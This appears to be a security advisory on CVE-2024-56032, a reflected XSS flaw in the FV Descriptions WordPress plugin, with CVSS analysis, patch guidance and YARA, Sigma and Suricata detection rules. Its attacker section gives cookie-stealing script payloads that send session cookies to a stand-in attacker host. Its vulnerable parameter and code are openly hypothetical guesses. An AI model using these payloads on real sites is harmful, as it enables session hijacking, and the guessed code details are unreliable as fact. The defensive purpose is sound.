CVE-2024-56032

Executive Summary

CVE-2024-56032 is a reflected Cross-Site Scripting (XSS) vulnerability in the FV Descriptions WordPress plugin (slug: fv-descriptions) by Foliovision, affecting versions up to and including 1.4. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session on the WordPress site.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve server-level software like Apache or Nginx. The plugin is used to manage custom descriptions for posts and pages, and the flaw likely resides in a shortcode or admin-facing parameter that echoes unsanitized input.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress Plugin Directory. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin’s update mechanism; however, since no patch is available, users must manually disable or remove the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact on resources beyond the vulnerable component)
• Confidentiality Impact: Low (limited data exposure)
• Integrity Impact: Low (limited modification of content)
• Availability Impact: Low (limited disruption)

The threat level is High due to the low complexity and no privileges required, though user interaction is necessary. The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as proof-of-concept code emerges.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS (CWE-79) in the FV Descriptions plugin. The plugin likely processes a GET or POST parameter (e.g., fv_description or a shortcode attribute) and reflects it directly into the HTML output without proper sanitization or encoding. An attacker can craft a malicious URL containing JavaScript payloads, such as:

https://victim-site.com/?fv_description=<script>alert('XSS')</script>

When a logged-in administrator or editor clicks this link, the script executes in their browser context, potentially allowing the attacker to:

• Steal session cookies (if not HttpOnly)
• Perform actions on behalf of the victim (e.g., create admin accounts)
• Deface the site
• Redirect users to malicious sites

The vulnerability is in the plugin’s output handling, likely in a shortcode like [fv-description] or an admin page that echoes user input without using WordPress’s esc_html() or wp_kses() functions.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize based on common XSS patterns.

Vulnerable Code (hypothetical):

// In fv-descriptions.php or similar
function fv_description_shortcode($atts) {
    $desc = $_GET['fv_description'];
    return "<div class='fv-description'>$desc</div>";
}
add_shortcode('fv-description', 'fv_description_shortcode');

Patched Code (hypothetical):

function fv_description_shortcode($atts) {
    $desc = isset($_GET['fv_description']) ? esc_html($_GET['fv_description']) : '';
    return "<div class='fv-description'>$desc</div>";
}
add_shortcode('fv-description', 'fv_description_shortcode');

The fix involves using esc_html() to encode HTML special characters, preventing script injection. Alternatively, wp_kses() could be used to allow safe HTML tags.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target WordPress site with FV Descriptions plugin <= 1.4
• Victim user with any role (admin, editor, or subscriber) must click the crafted link

Exploitation Steps:

1. Identify a vulnerable parameter (e.g., fv_description in a shortcode or admin page).
2. Craft a malicious URL:

   https://victim-site.com/?fv_description=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Deliver the link via phishing email, social media, or a compromised site.
4. When the victim clicks, the script executes, sending their cookies to the attacker’s server.

Example Payload:

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Blue Team (Defender)

Detection:

• Monitor web server logs for requests containing <script> tags or suspicious query parameters.
• Use WAF rules to block reflected XSS patterns.
• Deploy Content Security Policy (CSP) headers to mitigate impact.

Mitigation:

• Immediately disable or remove the FV Descriptions plugin until a patch is released.
• Implement input validation and output encoding in custom code.
• Use WordPress security plugins (e.g., Wordfence) to block XSS attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with query parameters containing <script>, onerror, onload, or javascript:.
  • Outbound connections to unknown IPs or domains from the WordPress server.
• File IOCs:
  • Modified plugin files (e.g., fv-descriptions.php) with injected code.
  • Unexpected files in /wp-content/plugins/fv-descriptions/.
• Log IOCs:
  • Web server logs showing repeated requests to /?fv_description=... with encoded payloads.
  • Error logs with PHP warnings about undefined array keys.

Detection Engineering

YARA Rule

rule Detect_FV_Descriptions_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting FV Descriptions plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-56032"
    strings:
        $param = "fv_description" nocase
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
    condition:
        $param and any of ($xss*)
}

Sigma Rule

title: Reflected XSS Attempt Against FV Descriptions Plugin
id: 8a3f5c2e-7d1b-4f9a-8c6e-2b1a3d5f7c9e
status: experimental
description: Detects HTTP requests with suspicious query parameters targeting the FV Descriptions plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "fv_description"
        c-uri|contains|any:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56032 FV Descriptions Reflected XSS Attempt"; flow:to_server; content:"fv_description"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the FV Descriptions plugin from the WordPress admin dashboard.
2. Monitor logs: Check web server logs for any signs of exploitation.
3. Rotate credentials: If exploitation is suspected, rotate all admin passwords and session tokens.

Long-term Fix:

• The vendor (Foliovision) must release a patched version that properly sanitizes output using esc_html() or wp_kses().
• Until then, consider using a different plugin for custom descriptions.

General Best Practices:

• Keep all WordPress plugins and themes updated.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Regularly audit plugins for known vulnerabilities.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert